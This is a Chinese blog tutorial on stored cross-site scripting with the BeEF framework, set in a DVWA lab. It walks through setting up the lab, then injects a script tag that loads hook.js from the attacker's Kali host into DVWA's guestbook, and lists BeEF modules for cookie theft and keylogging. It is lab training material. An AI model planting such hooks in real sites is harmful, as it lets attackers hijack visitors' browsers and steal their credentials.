利用 BeEF 执行 XSS 攻击

提示:该文章只提供学习,禁止做违法的事情,任何后果与作者无关 1, 依据《刑法修正案(七)》第9条增的《刑法》第 285条第3款的规定,犯提供非法侵入或者控制计算机信息系罪的,处3年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处3年以上7年以下有期徒刑,并处罚金。 2,第二百八十五条第二款 违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。 3,刑法第二百五十三条之一:“国家机关或者金融、电信、交通、教育、医疗等单位的工作人员,违反国家规定,将本单位在履行职责或者提供服务过程中获得的公民个人信息,出售或者非法提供给他人,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金。情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。


利用 BeEF 执行 XSS 攻击

  • 前言
    • 关于dvwa
      • 【声明】
      • 【许可】
      • 【警告】
      • 【安装】
      • [Windows]
      • [Linux]
      • 【漏洞】
      • DVWA中包含的web漏洞:
      • 漏洞的位置:
        • 低级安全
          • 1.暴力破解/弱口令
          • 2.命令执行
          • 3.伪造跨站请求(CSRF)
          • 4.SQL注入
          • 5.不安全文件上传
          • 6.反射型跨站脚本
          • 7.存储型跨站脚本
          • 8.全路径暴露
          • 9.身份认证绕过
      • DVWA安全
    • 配置靶机环境
    • 下载并配置DVWA
      • 1.在浏览器访问127.0.0.1或者localhost,出现“站点创建成功”,则phpstudy安装成功
      • 2.访问[https://github.com/ethicalhack3r/DVWA](https://github.com/ethicalhack3r/DVWA),下载压缩包
      • 3.将解压后的DVWA文件夹放到phpstudy安装目录下
      • 4.进入DVWA文件夹,将文件config.inc.php.dist复制为一个副本,将副本修改为config.inc.php,双击从记事本里面打开。
      • 5.打开config.inc.php文件后,将文件中的db_user db_password,分别修改为root,123456
      • 6.保持phpstudy开启状态,在浏览器中输入网址:http://127.0.0.1/DVWA-master,进入配置安装界面,点击Setup/Reset DB。(因为我为了方便将文件名改了所以我的网址为http://127.0.0.1/DVWA)
        • (1)打开dvwa下面的config.inc.php文件,在文件里面找到这两串代码
        • (2)在phpstudy的安装目录中,找到php.ini文件,打开它并将allow_url_fopen和allow_url_include的值改为On
      • 8.最后重启一下phpstudy中的Apache与mysql服务,再次访问http://127.0.0.1/DVWA-maste中的设置,你可以发现都正常了,可能会跳转到登陆页面,那就说明安装成功,输入账号和密码:DVWA的默认账号和默认密码分别是:admin 和 password
    • BeEF安装
      • 在kali中安装BeEF
    • DOM XSS案例
      • 1.从BeEF 安装目录中启动它
      • 2.浏览器打开http://127.0.0.1:3000/ui/panel也可(==最后就可以通过http://(ip):3000/ui/panel来访问==),使用账户名和密码登录
      • 3.将win7靶机中的DWVA难度调为low
      • 4.在XSS(Stored)下输入脚本命令
      • 5.点击Sign Guestbook,kali那边Beef就勾上了靶机所在的浏览器了
        • 控制台说明
    • 总结
    • 学习心得


前言

跨站脚本攻击(XSS),是一种网站应用程序的安全漏洞攻击,属于代码注入的一种。与其他攻击相比,XSS 攻击所带来的危害更大。

XSS 攻击是最普遍的 Web 应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖 XSS 蠕虫,甚至破坏网站、修改路由器配置信息等。

BeEF,全称 The Browser Exploitation Framework(浏览器攻击框架),是一款针对 web 浏览器的渗透测试工具。


关于dvwa

【声明】

DVWA全称为Damn Vulnerable Web Application,意为存在糟糕漏洞的web应用。它是一个基于PHP/MySQL开发的存在糟糕漏洞的web应用,旨在为专业的安全人员提供一个合法的环境,来测试他们的工具和技能。帮助web开发人员理解web应用保护的过程,还可以在课堂中为师生的安全性教学提供便利。

DVWA是一个RandomStorm开源项目,了解更多关于RandomStorm开源项目可以访问 http://www.randomstorm.com.

DVWA项目开始于2008年12月,并逐渐受到欢迎。 现在,全世界有成千上万的安全专业人员,学生和教师正在使用它。 DVWA现在已包含在流行的渗透测试Linux发行版中,例如Samurai的Web测试框架等。

【许可】

DVWA是一个免费软件,在遵守自由软件基金会发布的GNU通用公共许可的前提下,你可以重新发布它和/或修改它。许可可以是版本3,或(由您选择)任何更高的版本。

DVWA的发行是希望它能够有用,但没有提供担保,甚至没有对适销性和特殊用途适用性做暗示性的担保,更多详细信息可参见GNU通用公共许可证。

【警告】

你应该已经得到了DVWA和GNU通用公共许可的副本,如果没有可以访问 http://www.gnu.org/licenses/。DVWA的漏洞非常危险,请勿将其上传到托管服务提供商的公共html文件夹或任何正在运行的Web服务器,DVWA的漏洞将对此造成很大的威胁。我们建议将XAMPP下载并安装到局域网内部的本地计算机上,并确保该计算机仅用于测试。

我们不对任何人使用DVWA的行为承担责任,我们已经明确了该应用程序的用途,不应将DVWA用于恶意用途。我们已发出警告并采取了措施,以防止用户将DVWA安装到活动的Web服务器上。如果您的Web服务器因安装DVWA而受到破坏,应由上传者和安装者承担责任,我们对此不承担任何责任。

【安装】

DVWA是一个web应用,使用PHP语言开发,后端使用MySQL数据库。DVWA的运行需要安装一个web服务器,PHP开发环境,MySQL数据库。如果你现在没有配置好的web服务器,最简单的方法就是下载并安装XAMPP。

使用XAMPP可以很简单的将Apache发行版安装到Linux,Solaris,Windows和Mac OS X。这个安装包里包含Apache web服务器,MySQL,PHP,Perl,FTP服务和phpMyAdmin。

XAMPP可以通过以下链接下载:

XAMPP Installers and Downloads for Apache Friends

DVWA默认用户名 : admin

DVWA默认密码: password

[Windows]

下载安装完XAMPP后,将DVWA解压到Apache htdoc文件夹下(如果安装PHPstudy,DVWA解压到www文件夹下)。通常在‘C:\XAMPP\htdoc’路径下。此时通过http://127.0.0.1/dvwa即可访问DVWA。

[Linux]

下载安装完XAMPP后,将DVWA解压到Apache htdoc文件夹下(如果安装PHPstudy,DVWA解压到www文件夹下)。通常在‘C:\XAMPP\htdoc’路径下。使用‘sudo /opt/lampp/lamp start’命令开启Apache服务。此时通过http://127.0.0.1/dvwa即可访问DVWA。

【漏洞】

DVWA顾名思义,存在很多常见类型的web应用漏洞。DVWA整合了OWASP在2010年报告中提到的前10的web风险。
2010年OWASP报告中排名前10的web风险:
A1:注入
A2:跨站脚本
A3:无效的验证和会话管理
A4:不安全的直接对象引用
A5:安全配置错误
A6:伪造跨站请求
A7:不安全的加密存储
A8:无效的URL访问限制
A9:传输层保护不足
A10:未经验证的重定向和转发

DVWA中包含的web漏洞:

暴力破解:HTTP表单暴力破解登录页面;用来测试密码暴力破解工具,展示弱口令的不安全性。
命令执行:在底层操作系统上执行命令。
伪造跨站请求:启动一个“攻击者”更改应用的管理员密码。
文件包含:允许“攻击者”将远程/本地文件包含到Web应用程序中。
SQL注入:启动一个“攻击者”将SQL语句注入到HTTP表单的输入框中,DVWA包括基于盲(盲注)和错误的SQL注入。
不安全文件上传:允许“攻击者”将恶意文件上传到web服务器。
跨站脚本(XSS):“攻击者”可以将自己编写的脚本注入到web应用或数据库中,DVWA包含反射型和存储型XSS。

漏洞的位置:

低级安全
1.暴力破解/弱口令

http://127.0.0.1/dvwa/login.php

http://127.0.0.1/dvwa/vulnerabilities/brute/

2.命令执行

http://127.0.0.1/dvwa/vulnerabilities/exec/

3.伪造跨站请求(CSRF)

http://127.0.0.1/dvwa/vulnerabilities/csrf/ File Inclusion

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php

4.SQL注入

http://127.0.0.1/dvwa/vulnerabilities/sqli/

http://127.0.0.1/dvwa/vulnerabilities/brute/

5.不安全文件上传

http://127.0.0.1/dvwa/vulnerabilities/upload/

6.反射型跨站脚本

http://127.0.0.1/dvwa/vulnerabilities/xss_r/

7.存储型跨站脚本

http://127.0.0.1/dvwa/vulnerabilities/xss_s/

8.全路径暴露

设置PHPSESSID为null(空会话cookie)。

http://www.owasp.org/ index.php/Full_Path_Disclosure

9.身份认证绕过

如果管理员更改了默认密码,并且“攻击者”知道默认密码。这个“攻击者”可以访问http://127.0.0.1/dvwa/setup.php重置数据库,包括默认密码。

DVWA安全

DVWA既有漏洞又有一些其他特性来帮助web应用安全的教学和学习,DVWA的安全特性分为两个部分:一是漏洞的安全级别;二是PHP-IDS入侵检测。

漏洞的安全等级分为低级、中级和高级。每个级别都会改变 DVWA中所有漏洞的利用难度,初始加载时默认所有漏洞安全等级为高级,以下是每个安全级别及其用途的说明。

高级 - 此级别旨在为用户提供良好编码实践的示例。这个级别应该保护所有漏洞的安全,它用于将易受攻击的源代码与安全源代码进行比较。
中级 - 此级别主要是为用户提供糟糕的编程实践示例。开发者对程序的安全性进行了一定的保护但是仍有可被利用的漏洞,这为改进用户漏洞利用技巧提供了挑战。
低级 - 此级别是完全易受攻击的,并且没有做任何安全防护。它的作用是展示不良编程实践是如何导致 Web 应用程序漏洞的,并用作教授或学习漏洞基本利用技术的平台。
DVWA 中的每个漏洞页面都有一个【查看源代码】按钮,该按钮用于查看和比较每个漏洞的源代码的安全级别。 这使用户可以轻松访问源代码,以比较安全和不安全的编码实践。

PHP-IDS是一个流行的PHP入侵检测系统(IDS),同时也是一个常见的web应用防火墙(WAF)。PHP-IDS的工作原理是使用包含潜在地恶意代码的黑名单来过滤所有用户的输入。PHP-IDS在DVWA中被用作生动的例子来展示WAF如何提高web应用的安全性,某些时候也被用来展示WAF如何被绕过。PHP-IDS功能可以通过点击相应按钮来开启或关闭。DVWA 已获得 PHP-IDS 所有者Mario Heiderich 的明确书面许可,只要许可保持不变,即可在 DVWA 中包含和分发它。有关 PHP-IDS 的更多信息,请访问:http://www.php-ids.org

配置靶机环境

1.登录win7靶机
2.访问https://www.xp.cn/,下载phpstudy软件(下载最新版的就可以)
3.解压后开始安装phpstudy
4.点击启动Apache服务与MySQL服务进行测试

利用 BeEF 执行 XSS 攻击_第1张图片

下载并配置DVWA

1.在浏览器访问127.0.0.1或者localhost,出现“站点创建成功”,则phpstudy安装成功

利用 BeEF 执行 XSS 攻击_第2张图片

2.访问https://github.com/ethicalhack3r/DVWA,下载压缩包

利用 BeEF 执行 XSS 攻击_第3张图片

3.将解压后的DVWA文件夹放到phpstudy安装目录下

利用 BeEF 执行 XSS 攻击_第4张图片

4.进入DVWA文件夹,将文件config.inc.php.dist复制为一个副本,将副本修改为config.inc.php,双击从记事本里面打开。

利用 BeEF 执行 XSS 攻击_第5张图片

5.打开config.inc.php文件后,将文件中的db_user db_password,分别修改为root,123456

利用 BeEF 执行 XSS 攻击_第6张图片

6.保持phpstudy开启状态,在浏览器中输入网址:http://127.0.0.1/DVWA-master,进入配置安装界面,点击Setup/Reset DB。(因为我为了方便将文件名改了所以我的网址为http://127.0.0.1/DVWA)

第一次安装可能在方框内会出现标红,下面依次解决:
利用 BeEF 执行 XSS 攻击_第7张图片

(1)打开dvwa下面的config.inc.php文件,在文件里面找到这两串代码

将这两串key输入进去

public: 6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb

private: 6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K

利用 BeEF 执行 XSS 攻击_第8张图片

(2)在phpstudy的安装目录中,找到php.ini文件,打开它并将allow_url_fopen和allow_url_include的值改为On

利用 BeEF 执行 XSS 攻击_第9张图片

8.最后重启一下phpstudy中的Apache与mysql服务,再次访问http://127.0.0.1/DVWA-maste中的设置,你可以发现都正常了,可能会跳转到登陆页面,那就说明安装成功,输入账号和密码:DVWA的默认账号和默认密码分别是:admin 和 password

BeEF安装

可参照https://blog.csdn.net/weixin_43847838/article/details/110312851

在kali中安装BeEF

在kali中可使用 apt-get install beef-xss 命令来安装BeEF

apt-get install beef-xss

利用 BeEF 执行 XSS 攻击_第10张图片

DOM XSS案例

1.从BeEF 安装目录中启动它

(注意:新的 BeEF 启动前会强制新用户设定密码,可以在终端设立为:123456,或者可以在配置文件 “/usr/share/beef-xss/config.yaml”或"/etc/beef-xss/config.yaml"修改默认账号密码!)
利用 BeEF 执行 XSS 攻击_第11张图片
利用 BeEF 执行 XSS 攻击_第12张图片

cd /usr/share/beef-xss/

./beef 启动BeEF

利用 BeEF 执行 XSS 攻击_第13张图片

2.浏览器打开http://127.0.0.1:3000/ui/panel也可(最后就可以通过http://(ip):3000/ui/panel来访问),使用账户名和密码登录

利用 BeEF 执行 XSS 攻击_第14张图片

3.将win7靶机中的DWVA难度调为low

利用 BeEF 执行 XSS 攻击_第15张图片

4.在XSS(Stored)下输入脚本命令

Name:ceshi(自己取一个名字)
Message:<script src="http://192.xxx.xxx.xxx(自己的kali IP地址):3000/hook.js"></script>

利用 BeEF 执行 XSS 攻击_第16张图片

5.点击Sign Guestbook,kali那边Beef就勾上了靶机所在的浏览器了

利用 BeEF 执行 XSS 攻击_第17张图片

控制台说明
  • Hocked Browers
    • online browers 在线浏览器
    • offline browers 离线浏览器
  • Detials
    • 浏览器、插件版本信息,操作系统信息
  • Logs
    • 浏览器动作:焦点变化,鼠标单击,信息输入
  • commands
    • 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见
    • 红色模块:表示模块不适用当前用户,有些红色模块也可以执行
    • 橙色模块:模块可用,但结果对用户可见
    • 灰色模块:模块为在目标浏览器上测试过
      更多数据可以参考kali官方网站https://www.kali.org/tools/beef-xss/

总结

利用 BeEF 执行 XSS 攻击的大致步骤如下:

1.启动 BeEF 服务,并设置登录密码。
2.登录 BeEF 管理面板,查看 hook.js 文件的路径和内容。
3.在目标网站中植入 hook.js 代码,可以通过反射型或存储型 XSS 来实现。
4.当受害者浏览器访问目标网站时,就会被 BeEF 劫持,并在管理面板中显示出来。
5.在管理面板中选择受害者浏览器,可以执行各种模块对其进行进一步的攻击,如获取 cookie、键盘监听、弹窗、重定向等。

学习心得

BeEF是一款非常强大和实用的Web渗透测试工具,可以利用浏览器中的漏洞和弱点,执行各种客户端攻击。
BeEF可以通过一个JavaScript文件(hook.js)来“钩住”浏览器,并在后台控制台中对其进行管理和操作。BeEF可以对钩住的浏览器执行多种命令模块,实现各种功能和效果。
使用BeEF进行XSS攻击时,需要注意构造合适的XSS攻击载荷,并将其注入到目标网站中。然后需要在BeEF控制台中选择并执行合适的命令模块,并根据返回的信息和日志进行分析和判断。
使用BeEF进行XSS攻击时,也需要注意遵守法律法规和道德规范,只对授权或自己搭建的目标进行测试,不要对他人或公共服务造成不必要的麻烦或损害。

你可能感兴趣的:(xss,linux,安全)